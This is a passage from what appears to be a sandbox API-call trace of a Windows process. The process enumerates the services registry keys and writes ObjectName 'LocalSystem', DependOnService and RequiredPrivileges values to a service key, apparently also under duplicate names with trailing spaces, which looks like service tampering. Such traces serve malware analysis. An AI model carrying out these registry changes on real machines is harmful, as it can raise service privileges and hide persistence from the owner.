lpName="msisadrv") returned 0x0 [0253.503] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0253.503] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0253.503] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0253.503] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0253.503] RegCloseKey (hKey=0xc4) returned 0x0 [0253.503] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0253.503] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0253.503] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0253.503] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0253.503] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0253.503] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0253.504] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0253.504] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0253.504] RegCloseKey (hKey=0x80000002) returned 0x0 [0253.504] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0253.504] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0253.504] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0253.504] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0253.504] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0253.504] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0253.504] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0253.504] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0253.504] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0253.504] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0253.505] RegCloseKey (hKey=0x148) returned 0x0 [0253.505] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0253.505] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0253.505] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0253.505] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0253.505] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0253.505] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0253.505] RegCloseKey (hKey=0xc4) returned 0x0 [0253.505] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0253.505] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0253.505] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0253.505] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0253.505] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0253.505] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0253.506] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0253.506] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0253.506] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0253.506] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.506] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.506] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.506] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.506] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.507] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.507] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.507] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.507] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.507] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.507] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.507] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.507] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.507] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.507] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.507] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0253.508] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0253.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0253.508] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0253.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0253.508] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.508] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.508] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.508] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.508] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.508] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.508] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.508] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.509] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.509] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.509] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.509] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.509] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.509] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.509] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.509] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0253.509] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0253.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0253.509] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0253.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0253.510] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.510] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.510] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.510] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.510] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.510] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.510] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.510] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.510] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.510] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.510] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.510] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.510] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.511] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.511] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.511] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0253.511] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0253.511] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0253.511] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0253.511] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.511] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.511] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.511] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.511] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.511] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.512] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.512] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0253.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0253.512] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0253.512] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d558 [0253.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0253.512] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d308 [0253.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0253.512] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0253.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0253.512] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f50 [0253.512] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d598 [0253.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0253.512] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d478 [0253.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0253.513] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0253.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 